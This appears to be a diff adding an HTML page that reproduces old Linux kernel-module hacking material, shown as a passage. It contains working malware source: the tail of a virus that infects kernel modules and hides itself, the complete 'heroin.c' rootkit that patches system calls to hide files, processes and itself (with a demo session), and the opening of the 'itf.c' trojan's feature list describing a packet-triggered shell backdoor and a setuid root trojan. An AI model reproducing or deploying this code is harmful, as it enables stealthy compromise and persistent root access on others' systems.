|
|
+
|
|
|
+/*----------------------------------------------*/
|
|
|
+
|
|
|
+int init_module2(struct module *mp)
|
|
|
+{
|
|
|
+ char *s = NULL, *mod = NULL, *modname = NULL;
|
|
|
+ long state = 0;
|
|
|
+
|
|
|
+ mod = vmalloc(60 + 2);
|
|
|
+ modname = vmalloc(MAXPATH + 60 + 2);
|
|
|
+ if (!mod || !modname)
|
|
|
+ return -1;
|
|
|
+ strcpy(mod, mp->name);
|
|
|
+ strcat(mod, ".o");
|
|
|
+
|
|
|
+
|
|
|
+ MOD_INC_USE_COUNT;
|
|
|
+ DPRINTK("in init_module2: mod = %s\n", mod);
|
|
|
+
|
|
|
+ /* take also a look at phrack#52 ...*/
|
|
|
+ mp->name = "";
|
|
|
+ mp->ref = 0;
|
|
|
+ mp->size = 0;
|
|
|
+
|
|
|
+ /* thiz is our new main ,look for copys in kmem ! */
|
|
|
+ if (sys_call_table[__NR_our_syscall] == 0) {
|
|
|
+ old_delete_module = sys_call_table[__NR_delete_module];
|
|
|
+ old_create_module = sys_call_table[__NR_create_module];
|
|
|
+ sys_call_table[__NR_our_syscall] = (void*)our_syscall;
|
|
|
+ sys_call_table[__NR_delete_module] = (void*)new_delete_module;
|
|
|
+ sys_call_table[__NR_create_module] = (void*)new_create_module;
|
|
|
+ memset(files2infect, 0, (60 + 2)*7);
|
|
|
+ register_symtab(&my_symtab);
|
|
|
+ }
|
|
|
+ open = sys_call_table[__NR_open];
|
|
|
+ close = sys_call_table[__NR_close];
|
|
|
+ unlink = sys_call_table[__NR_unlink];
|
|
|
+
|
|
|
+ if ((s = get_mod_name(mod)) == NULL)
|
|
|
+ return -1;
|
|
|
+ modname = strcpy(modname, s);
|
|
|
+ load_real_mod(modname, mod);
|
|
|
+ vfree(mod);
|
|
|
+ vfree(modname);
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+int cleanup_module()
|
|
|
+{
|
|
|
+ sys_call_table[__NR_delete_module] = old_delete_module;
|
|
|
+ sys_call_table[__NR_create_module] = old_create_module;
|
|
|
+ sys_call_table[__NR_our_syscall] = NULL;
|
|
|
+ DPRINTK("in cleanup_module\n");
|
|
|
+ vfree(VirCode);
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/* returns 1 if infected;
|
|
|
+ * seek at position MODLEN + 1 and read out 3 bytes,
|
|
|
+ * if it is "ELF" it seems the file is already infected
|
|
|
+ */
|
|
|
+
|
|
|
+int is_infected(char *filename)
|
|
|
+{
|
|
|
+ char det[4] = {0};
|
|
|
+ int fd = 0;
|
|
|
+ struct file *file;
|
|
|
+
|
|
|
+ DPRINTK("in is_infected: filename = %s\n", filename);
|
|
|
+ BEGIN_KMEM
|
|
|
+ fd = open(filename, O_RDONLY, 0);
|
|
|
+ END_KMEM
|
|
|
+ if (fd <= 0)
|
|
|
+ return -1;
|
|
|
+ if ((file = current->files->fd[fd]) == NULL)
|
|
|
+ return -2;
|
|
|
+ file->f_pos = MODLEN + 1;
|
|
|
+ DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
|
|
|
+ BEGIN_KMEM
|
|
|
+ file->f_op->read(file->f_inode, file, det, 3);
|
|
|
+ close(fd);
|
|
|
+ END_KMEM
|
|
|
+ DPRINTK("in is_infected: det = %s\n", det);
|
|
|
+ if (strcmp(det, "ELF") == 0)
|
|
|
+ return 1;
|
|
|
+ else
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/* copy the host-module to tmp, write VirCode to
|
|
|
+ * hostmodule, and append tmp.
|
|
|
+ * then delete tmp.
|
|
|
+ */
|
|
|
+
|
|
|
+
|
|
|
+int infectfile(char *filename)
|
|
|
+{
|
|
|
+ char *tmp = "/tmp/t000";
|
|
|
+ int in = 0, out = 0;
|
|
|
+ struct file *file1, *file2;
|
|
|
+
|
|
|
+ BEGIN_KMEM
|
|
|
+ in = open(filename, O_RDONLY, 0640);
|
|
|
+ out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
|
|
|
+ END_KMEM
|
|
|
+ DPRINTK("in infectfile: in = %d out = %d\n", in, out);
|
|
|
+ if (in <= 0 || out <= 0)
|
|
|
+ return -1;
|
|
|
+ file1 = current->files->fd[in];
|
|
|
+ file2 = current->files->fd[out];
|
|
|
+ if (!file1 || !file2)
|
|
|
+ return -1;
|
|
|
+ /* save hostcode */
|
|
|
+ cp(file1, file2);
|
|
|
+ BEGIN_KMEM
|
|
|
+ file1->f_pos = 0;
|
|
|
+ file2->f_pos = 0;
|
|
|
+ /* write Vircode [from mem] */
|
|
|
+ DPRINTK("in infetcfile: filenanme = %s\n", filename);
|
|
|
+ file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
|
|
|
+ /* append hostcode */
|
|
|
+ cp(file2, file1);
|
|
|
+ close(in);
|
|
|
+ close(out);
|
|
|
+ unlink(tmp);
|
|
|
+ END_KMEM
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+int disinfect(char *filename)
|
|
|
+{
|
|
|
+
|
|
|
+ char *tmp = "/tmp/t000";
|
|
|
+ int in = 0, out = 0;
|
|
|
+ struct file *file1, *file2;
|
|
|
+
|
|
|
+ BEGIN_KMEM
|
|
|
+ in = open(filename, O_RDONLY, 0640);
|
|
|
+ out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
|
|
|
+ END_KMEM
|
|
|
+ DPRINTK("in disinfect: in = %d out = %d\n",in, out);
|
|
|
+ if (in <= 0 || out <= 0)
|
|
|
+ return -1;
|
|
|
+ file1 = current->files->fd[in];
|
|
|
+ file2 = current->files->fd[out];
|
|
|
+ if (!file1 || !file2)
|
|
|
+ return -1;
|
|
|
+ /* save hostcode */
|
|
|
+ cp(file1, file2);
|
|
|
+ BEGIN_KMEM
|
|
|
+ close(in);
|
|
|
+ DPRINTK("in disinfect: filename = %s\n", filename);
|
|
|
+ unlink(filename);
|
|
|
+ in = open(filename, O_RDWR|O_CREAT, 0640);
|
|
|
+ END_KMEM
|
|
|
+ if (in <= 0)
|
|
|
+ return -1;
|
|
|
+ file1 = current->files->fd[in];
|
|
|
+ if (!file1)
|
|
|
+ return -1;
|
|
|
+ file2->f_pos = MODLEN;
|
|
|
+ cp(file2, file1);
|
|
|
+ BEGIN_KMEM
|
|
|
+ close(in);
|
|
|
+ close(out);
|
|
|
+ unlink(tmp);
|
|
|
+ END_KMEM
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/* a simple copy routine, that expects the file struct pointer
|
|
|
+ * of the files to be copied.
|
|
|
+ * So its possible to append files due to copieng.
|
|
|
+ */
|
|
|
+
|
|
|
+int cp(struct file *file1, struct file *file2)
|
|
|
+{
|
|
|
+
|
|
|
+ int in = 0, out = 0, r = 0;
|
|
|
+ char *buf;
|
|
|
+
|
|
|
+ if ((buf = (char*)vmalloc(10000)) == NULL)
|
|
|
+ return -1;
|
|
|
+
|
|
|
+ DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
|
|
|
+ BEGIN_KMEM
|
|
|
+ while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
|
|
|
+ file2->f_op->write(file2->f_inode, file2, buf, r);
|
|
|
+ file2->f_inode->i_mode = file1->f_inode->i_mode;
|
|
|
+ file2->f_inode->i_atime = file1->f_inode->i_atime;
|
|
|
+ file2->f_inode->i_mtime = file1->f_inode->i_mtime;
|
|
|
+ file2->f_inode->i_ctime = file1->f_inode->i_ctime;
|
|
|
+ END_KMEM
|
|
|
+ vfree(buf);
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/* Is that simple: we disinfect the module [hide 'n seek]
|
|
|
+ * and send a request to kerneld to load
|
|
|
+ * the orig mod. N0 fuckin' parsing for symbols and headers
|
|
|
+ * is needed - cool.
|
|
|
+ */
|
|
|
+int load_real_mod(char *path_name, char *name)
|
|
|
+{
|
|
|
+ int r = 0, i = 0;
|
|
|
+ struct file *file1, *file2;
|
|
|
+ int in = 0, out = 0;
|
|
|
+
|
|
|
+ DPRINTK("in load_real_mod name = %s\n", path_name);
|
|
|
+ if (VirCode)
|
|
|
+ vfree(VirCode);
|
|
|
+ VirCode = vmalloc(MODLEN);
|
|
|
+ if (!VirCode)
|
|
|
+ return -1;
|
|
|
+ BEGIN_KMEM
|
|
|
+ in = open(path_name, O_RDONLY, 0640);
|
|
|
+ END_KMEM
|
|
|
+ if (in <= 0)
|
|
|
+ return -1;
|
|
|
+ file1 = current->files->fd[in];
|
|
|
+ if (!file1)
|
|
|
+ return -1;
|
|
|
+ /* read Vircode [into mem] */
|
|
|
+ BEGIN_KMEM
|
|
|
+ file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
|
|
|
+ close(in);
|
|
|
+ END_KMEM
|
|
|
+ disinfect(path_name);
|
|
|
+ r = request_module(name);
|
|
|
+ DPRINTK("in load_real_mod: request_module = %d\n", r);
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+char *get_mod_name(char *mod)
|
|
|
+{
|
|
|
+ int fd = 0, i = 0;
|
|
|
+ static char* modname = NULL;
|
|
|
+
|
|
|
+ if (!modname)
|
|
|
+ modname = vmalloc(MAXPATH + 60 + 2);
|
|
|
+ if (!modname)
|
|
|
+ return NULL;
|
|
|
+ BEGIN_KMEM
|
|
|
+ for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
|
|
|
+ memset(modname, 0, MAXPATH + 60 + 2);
|
|
|
+ modname = strcpy(modname, default_path[i]);
|
|
|
+ modname = strcat(modname, "/");
|
|
|
+ modname = strcat(modname, mod);
|
|
|
+ if ((fd = open(modname, O_RDONLY, 0640)) > 0)
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ close(fd);
|
|
|
+ END_KMEM
|
|
|
+ if (!default_path[i])
|
|
|
+ return NULL;
|
|
|
+ return modname;
|
|
|
+}
|
|
|
+
|
|
|
+</xmp>
|
|
|
+
|
|
|
+<H3><A NAME="A-b"></A>Herion - the classic one</h3>
|
|
|
+
|
|
|
+
|
|
|
+<b>NAME</b> : Heroin<br>
|
|
|
+<b>AUTHOR</b> : <A HREF="mailto:zarq@opaque.org">Runar Jensen</a><br>
|
|
|
+<b>DESCRIPTION</b> : Runar Jensen introduced some nice ideas in his text, which
|
|
|
+ were the first steps towards our modern Hide LKM by plaguez.
|
|
|
+ The way Runar Jensen hides the module requires more coder work
|
|
|
+ than the plaguez (Solar Designer and other people) approach,
|
|
|
+ but it works. The way Runar Jensen hides processes is also a
|
|
|
+ bit too complicated (well this text is quite old, and it was
|
|
|
+ one of the first talking about LKM hacking), He uses a special
|
|
|
+ signal code (31) in order to set a flag in a process structure
|
|
|
+ which indicates that this process is going to be hidden, in
|
|
|
+ the way we discussed in part II. <br>
|
|
|
+ The rest should be clear. <br>
|
|
|
+<b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
|
|
|
+to patch any systemcall under Linux from within a module. This means that
|
|
|
+once your system has been compromised at the root level, it is possible for
|
|
|
+an intruder to hide completely _without_ modifying any binaries or leaving
|
|
|
+any visible backdoors behind. Because such tools are likely to be in use
|
|
|
+within the hacker community already, I decided to publish a piece of code to
|
|
|
+demonstrate the potentials of a malicious module.
|
|
|
+
|
|
|
+The following piece of code is a fully working Linux module for 2.1 kernels
|
|
|
+that patches the getdents(), kill(), read() and query_module() calls. Once
|
|
|
+loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
|
|
|
+modifying the output of every query_module() call and every read() call
|
|
|
+accessing /proc/modules. Apparently rmmod also calls query_module() to list
|
|
|
+all modules before attempting to remove the specified module, and will
|
|
|
+therefore claim that the module does not exist even if you know its name. The
|
|
|
+output of any getdents() call is modified to hide any files or directories
|
|
|
+starting with a given string, leaving them accessible only if you know their
|
|
|
+exact names. It also hides any directories in /proc matching pids that have a
|
|
|
+specified flag set in its internal task structure, allowing a user with root
|
|
|
+access to hide any process (and its children, since the task structure is
|
|
|
+duplicated when the process does a fork()). To set this flag, simply send the
|
|
|
+process a signal 31 which is caught and handled by the patched kill() call.
|
|
|
+
|
|
|
+To demonstrate the effects...
|
|
|
+
|
|
|
+[root@image:~/test]# ls -l
|
|
|
+total 3
|
|
|
+-rw------- 1 root root 2832 Oct 8 16:52 heroin.o
|
|
|
+[root@image:~/test]# insmod heroin.o
|
|
|
+[root@image:~/test]# lsmod | grep heroin
|
|
|
+[root@image:~/test]# grep heroin /proc/modules
|
|
|
+[root@image:~/test]# rmmod heroin
|
|
|
+rmmod: module heroin not loaded
|
|
|
+[root@image:~/test]# ls -l
|
|
|
+total 0
|
|
|
+[root@image:~/test]# echo "I'm invisible" > heroin_test
|
|
|
+[root@image:~/test]# ls -l
|
|
|
+total 0
|
|
|
+[root@image:~/test]# cat heroin_test
|
|
|
+I'm invisible
|
|
|
+[root@image:~/test]# ps -aux | grep gpm
|
|
|
+root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
|
|
|
+[root@image:~/test]# kill -31 223
|
|
|
+[root@image:~/test]# ps -aux | grep gpm
|
|
|
+[root@image:~/test]# ps -aux 223
|
|
|
+USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
|
|
|
+root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
|
|
|
+[root@image:~/test]# ls -l /proc | grep 223
|
|
|
+[root@image:~/test]# ls -l /proc/223
|
|
|
+total 0
|
|
|
+-r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
|
|
|
+lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
|
|
|
+-r-------- 1 root root 0 Oct 8 16:54 environ
|
|
|
+lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
|
|
|
+dr-x------ 1 root root 0 Oct 8 16:54 fd
|
|
|
+pr--r--r-- 1 root root 0 Oct 8 16:54 maps
|
|
|
+-rw------- 1 root root 0 Oct 8 16:54 mem
|
|
|
+lrwx------ 1 root root 0 Oct 8 16:54 root -> /
|
|
|
+-r--r--r-- 1 root root 0 Oct 8 16:53 stat
|
|
|
+-r--r--r-- 1 root root 0 Oct 8 16:54 statm
|
|
|
+-r--r--r-- 1 root root 0 Oct 8 16:54 status
|
|
|
+[root@image:~/test]#
|
|
|
+
|
|
|
+The implications should be obvious. Once a compromise has taken place,
|
|
|
+nothing can be trusted, the operating system included. A module such as this
|
|
|
+could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
|
|
|
+after every reboot, or put in place of a commonly used module and in turn
|
|
|
+have it load the required module for an added level of protection. (Thanks
|
|
|
+Sean :) Combined with a reasonably obscure remote backdoor it could remain
|
|
|
+undetected for long periods of time unless the system administrator knows
|
|
|
+what to look for. It could even hide the packets going to and from this
|
|
|
+backdoor from the kernel itself to prevent a local packet sniffer from seeing
|
|
|
+them.
|
|
|
+
|
|
|
+So how can it be detected? In this case, since the number of processes is
|
|
|
+limited, one could try to open every possible process directory in /proc and
|
|
|
+look for the ones that do not show up otherwise. Using readdir() instead of
|
|
|
+getdents() will not work, since it appears to be just a wrapper for
|
|
|
+getdents(). In short, trying to locate something like this without knowing
|
|
|
+exactly what to look for is rather futile if done in userspace...
|
|
|
+
|
|
|
+Be afraid. Be very afraid. ;)
|
|
|
+
|
|
|
+.../ru
|
|
|
+
|
|
|
+-----
|
|
|
+
|
|
|
+/*
|
|
|
+ * heroin.c
|
|
|
+ *
|
|
|
+ * Runar Jensen <zarq@opaque.org>
|
|
|
+ *
|
|
|
+ * This Linux kernel module patches the getdents(), kill(), read()
|
|
|
+ * and query_module() system calls to demonstrate the potential
|
|
|
+ * dangers of the way modules have full access to the entire kernel.
|
|
|
+ *
|
|
|
+ * Once loaded, the module becomes invisible and can not be removed
|
|
|
+ * with rmmod. Any files or directories starting with the string
|
|
|
+ * defined by MAGIC_PREFIX appear to disappear, and sending a signal
|
|
|
+ * 31 to any process as root effectively hides it and all its future
|
|
|
+ * children.
|
|
|
+ *
|
|
|
+ * This code should compile cleanly and work with most (if not all)
|
|
|
+ * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
|
|
|
+ * It will not compile as is under 2.0.30, since 2.0.30 lacks the
|
|
|
+ * query_module() function.
|
|
|
+ *
|
|
|
+ * Compile with:
|
|
|
+ * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
|
|
|
+ */
|
|
|
+
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/modversions.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <linux/proc_fs.h>
|
|
|
+#include <stdlib.h>
|
|
|
+
|
|
|
+#define MAGIC_PREFIX "heroin"
|
|
|
+
|
|
|
+#define PF_INVISIBLE 0x10000000
|
|
|
+#define SIGINVISI 31
|
|
|
+
|
|
|
+int errno;
|
|
|
+
|
|
|
+static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
|
|
|
+static inline _syscall2(int, kill, pid_t, pid, int, sig);
|
|
|
+static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
|
|
|
+static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
|
|
|
+int (*original_kill)(pid_t, int);
|
|
|
+int (*original_read)(int, void *, size_t);
|
|
|
+int (*original_query_module)(const char *, int, void *, size_t, size_t *);
|
|
|
+
|
|
|
+int myatoi(char *str)
|
|
|
+{
|
|
|
+ int res = 0;
|
|
|
+ int mul = 1;
|
|
|
+ char *ptr;
|
|
|
+
|
|
|
+ for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
|
|
|
+ if(*ptr < '0' || *ptr > '9')
|
|
|
+ return(-1);
|
|
|
+ res += (*ptr - '0') * mul;
|
|
|
+ mul *= 10;
|
|
|
+ }
|
|
|
+ return(res);
|
|
|
+}
|
|
|
+
|
|
|
+void mybcopy(char *src, char *dst, unsigned int num)
|
|
|
+{
|
|
|
+ while(num--)
|
|
|
+ *(dst++) = *(src++);
|
|
|
+}
|
|
|
+
|
|
|
+int mystrcmp(char *str1, char *str2)
|
|
|
+{
|
|
|
+ while(*str1 && *str2)
|
|
|
+ if(*(str1++) != *(str2++))
|
|
|
+ return(-1);
|
|
|
+ return(0);
|
|
|
+}
|
|
|
+
|
|
|
+struct task_struct *find_task(pid_t pid)
|
|
|
+{
|
|
|
+ struct task_struct *task = current;
|
|
|
+
|
|
|
+ do {
|
|
|
+ if(task->pid == pid)
|
|
|
+ return(task);
|
|
|
+
|
|
|
+ task = task->next_task;
|
|
|
+
|
|
|
+ } while(task != current);
|
|
|
+
|
|
|
+ return(NULL);
|
|
|
+}
|
|
|
+
|
|
|
+int is_invisible(pid_t pid)
|
|
|
+{
|
|
|
+ struct task_struct *task;
|
|
|
+
|
|
|
+ if((task = find_task(pid)) == NULL)
|
|
|
+ return(0);
|
|
|
+
|
|
|
+ if(task->flags & PF_INVISIBLE)
|
|
|
+ return(1);
|
|
|
+
|
|
|
+ return(0);
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
|
|
|
+{
|
|
|
+ int res;
|
|
|
+ int proc = 0;
|
|
|
+ struct inode *dinode;
|
|
|
+ char *ptr = (char *)dirp;
|
|
|
+ struct dirent *curr;
|
|
|
+ struct dirent *prev = NULL;
|
|
|
+
|
|
|
+ res = (*original_getdents)(fd, dirp, count);
|
|
|
+
|
|
|
+ if(!res)
|
|
|
+ return(res);
|
|
|
+
|
|
|
+ if(res == -1)
|
|
|
+ return(-errno);
|
|
|
+
|
|
|
+#ifdef __LINUX_DCACHE_H
|
|
|
+ dinode = current->files->fd[fd]->f_dentry->d_inode;
|
|
|
+#else
|
|
|
+ dinode = current->files->fd[fd]->f_inode;
|
|
|
+#endif
|
|
|
+
|
|
|
+ if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
|
|
|
+ proc = 1;
|
|
|
+
|
|
|
+ while(ptr < (char *)dirp + res) {
|
|
|
+ curr = (struct dirent *)ptr;
|
|
|
+
|
|
|
+ if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
|
|
|
+ (proc && is_invisible(myatoi(curr->d_name)))) {
|
|
|
+
|
|
|
+ if(curr == dirp) {
|
|
|
+ res -= curr->d_reclen;
|
|
|
+ mybcopy(ptr + curr->d_reclen, ptr, res);
|
|
|
+ continue;
|
|
|
+ }
|
|
|
+ else
|
|
|
+ prev->d_reclen += curr->d_reclen;
|
|
|
+ }
|
|
|
+ else
|
|
|
+ prev = curr;
|
|
|
+
|
|
|
+ ptr += curr->d_reclen;
|
|
|
+ }
|
|
|
+
|
|
|
+ return(res);
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_kill(pid_t pid, int sig)
|
|
|
+{
|
|
|
+ int res;
|
|
|
+ struct task_struct *task = current;
|
|
|
+
|
|
|
+ if(sig != SIGINVISI) {
|
|
|
+ res = (*original_kill)(pid, sig);
|
|
|
+
|
|
|
+ if(res == -1)
|
|
|
+ return(-errno);
|
|
|
+
|
|
|
+ return(res);
|
|
|
+ }
|
|
|
+
|
|
|
+ if((task = find_task(pid)) == NULL)
|
|
|
+ return(-ESRCH);
|
|
|
+
|
|
|
+ if(current->uid && current->euid)
|
|
|
+ return(-EPERM);
|
|
|
+
|
|
|
+ task->flags |= PF_INVISIBLE;
|
|
|
+
|
|
|
+ return(0);
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_read(int fd, char *buf, size_t count)
|
|
|
+{
|
|
|
+ int res;
|
|
|
+ char *ptr, *match;
|
|
|
+ struct inode *dinode;
|
|
|
+
|
|
|
+ res = (*original_read)(fd, buf, count);
|
|
|
+
|
|
|
+ if(res == -1)
|
|
|
+ return(-errno);
|
|
|
+
|
|
|
+#ifdef __LINUX_DCACHE_H
|
|
|
+ dinode = current->files->fd[fd]->f_dentry->d_inode;
|
|
|
+#else
|
|
|
+ dinode = current->files->fd[fd]->f_inode;
|
|
|
+#endif
|
|
|
+
|
|
|
+ if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
|
|
|
+ return(res);
|
|
|
+
|
|
|
+ ptr = buf;
|
|
|
+
|
|
|
+ while(ptr < buf + res) {
|
|
|
+ if(!mystrcmp(MAGIC_PREFIX, ptr)) {
|
|
|
+ match = ptr;
|
|
|
+ while(*ptr && *ptr != '\n')
|
|
|
+ ptr++;
|
|
|
+ ptr++;
|
|
|
+ mybcopy(ptr, match, (buf + res) - ptr);
|
|
|
+ res = res - (ptr - match);
|
|
|
+ return(res);
|
|
|
+ }
|
|
|
+ while(*ptr && *ptr != '\n')
|
|
|
+ ptr++;
|
|
|
+ ptr++;
|
|
|
+ }
|
|
|
+
|
|
|
+ return(res);
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
|
|
|
+{
|
|
|
+ int res;
|
|
|
+ int cnt;
|
|
|
+ char *ptr, *match;
|
|
|
+
|
|
|
+ res = (*original_query_module)(name, which, buf, bufsize, ret);
|
|
|
+
|
|
|
+ if(res == -1)
|
|
|
+ return(-errno);
|
|
|
+
|
|
|
+ if(which != QM_MODULES)
|
|
|
+ return(res);
|
|
|
+
|
|
|
+ ptr = buf;
|
|
|
+
|
|
|
+ for(cnt = 0; cnt < *ret; cnt++) {
|
|
|
+ if(!mystrcmp(MAGIC_PREFIX, ptr)) {
|
|
|
+ match = ptr;
|
|
|
+ while(*ptr)
|
|
|
+ ptr++;
|
|
|
+ ptr++;
|
|
|
+ mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
|
|
|
+ (*ret)--;
|
|
|
+ return(res);
|
|
|
+ }
|
|
|
+ while(*ptr)
|
|
|
+ ptr++;
|
|
|
+ ptr++;
|
|
|
+ }
|
|
|
+
|
|
|
+ return(res);
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+ original_getdents = sys_call_table[SYS_getdents];
|
|
|
+ sys_call_table[SYS_getdents] = hacked_getdents;
|
|
|
+
|
|
|
+ original_kill = sys_call_table[SYS_kill];
|
|
|
+ sys_call_table[SYS_kill] = hacked_kill;
|
|
|
+
|
|
|
+ original_read = sys_call_table[SYS_read];
|
|
|
+ sys_call_table[SYS_read] = hacked_read;
|
|
|
+
|
|
|
+ original_query_module = sys_call_table[SYS_query_module];
|
|
|
+ sys_call_table[SYS_query_module] = hacked_query_module;
|
|
|
+
|
|
|
+ return(0);
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ sys_call_table[SYS_getdents] = original_getdents;
|
|
|
+ sys_call_table[SYS_kill] = original_kill;
|
|
|
+ sys_call_table[SYS_read] = original_read;
|
|
|
+ sys_call_table[SYS_query_module] = original_query_module;
|
|
|
+}
|
|
|
+
|
|
|
+-----
|
|
|
+
|
|
|
+-----
|
|
|
+Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com
|
|
|
+Network Administrator | or (800) 264-7440 | or zarq@opaque.org
|
|
|
+Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com
|
|
|
+FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
|
|
|
+
|
|
|
+</xmp>
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="A-c"></A>LKM Hider / Socket Backdoor</h3>
|
|
|
+
|
|
|
+<b>NAME</b> : itf.c<br>
|
|
|
+<b>AUTHOR</b> : <A HREF="mailto:dube0866@eurobretagne.fr">plaguez</a><br>
|
|
|
+<b>DESCRIPTION</b> : This very good LKM was published in phrack 52 (article 18 :
|
|
|
+ 'Weakening the Linux Kernel'). I often refered to it although
|
|
|
+ some ideas in it were also taken from other LKMs / texts which
|
|
|
+ were published before. This module has everything you need to
|
|
|
+ backdoor a system in a very effective way. Look at the text
|
|
|
+ supplied with it for all of its features.<br>
|
|
|
+<b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+Here is itf.c. The goal of this program is to demonstrate kernel backdooring
|
|
|
+techniques using systemcall redirection. Once installed, it is very hard to
|
|
|
+spot.
|
|
|
+
|
|
|
+Its features include:
|
|
|
+
|
|
|
+- stealth functions: once insmod'ed, itf will modify struct module *mp and
|
|
|
+get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
|
|
|
+Also, the module cannot be unloaded.
|
|
|
+
|
|
|
+- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
|
|
|
+hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
|
|
|
+because itf will trap a change in the PROMISC flag and will then stop hidding
|
|
|
+it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
|
|
|
+the module...).
|
|
|
+
|
|
|
+- file hidder: itf will also patch the getdents(2) system calls, thus hidding
|
|
|
+files containing a certain word in their filename.
|
|
|
+
|
|
|
+- process hidder: using the same technique as described above, itf will hide
|
|
|
+/procs/PÏD directories using argv entries. Any process named with the magic
|
|
|
+name will be hidden from the procfs tree.
|
|
|
+
|
|
|
+- execve redirection: this implements Halflife's idea discussed in P51.
|
|
|
+If a given program (notably /bin/login) is execve'd, itf will execve
|
|
|
+another program instead. It uses tricks to overcome Linux memory managment
|
|
|
+limitations: brk(2) is used to increase the calling program's data segment
|
|
|
+size, thus allowing us to allocate user memory while in kernel mode (remember
|
|
|
+that most system calls wait for arguments in user memory, not kernel mem).
|
|
|
+
|
|
|
+- socket recvfrom() backdoor: when a packet matching a given size and a given
|
|
|
+string is received, a non-interactive program will be executed. Typicall use
|
|
|
+is a shell script (which will be hidden using the magic name) that opens
|
|
|
+another port and waits there for shell commands.
|
|
|
+
|
|
|
+- setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid ==
|
|
|
+magic number is done, the calling process will get uid = euid = gid = 0
|
|
|
+
|
|
|
+
|
|
|
+<++> lkm_trojan.c
|
|
|
+/*
|
|
|
+ * itf.c v0.8
|
|
|
+ * Linux Integrated Trojan Facility
|
|
|
+ * (c) plaguez 1997 -- dube0866@eurobretagne.fr
|
|
|
+ * This is mostly not fully tested code. Use at your own risks.
|
|
|
+ *
|
|
|
+ *
|
|
|
+ * compile with:
|
|
|
+ * gcc -c -O3 -fomit-frame-pointer itf.c
|
|
|
+ * Then:
|
|
|
+ * insmod itf
|
|
|
+ *
|
|
|
+ *
|
|
|
+ * Thanks to Halflife and Solar Designer for their help/ideas.
|
|
|
+ *
|
|
|
+ * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
|
|
|
+ *
|
|
|
+ *
|
|
|
+ */
|
|
|
+
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+
|
|
|
+#include <linux/config.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/version.h>
|
|
|
+
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <linux/errno.h>
|
|
|
+#include <asm/segment.h>
|
|
|
+#include <asm/pgtable.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <linux/dirent.h>
|
|
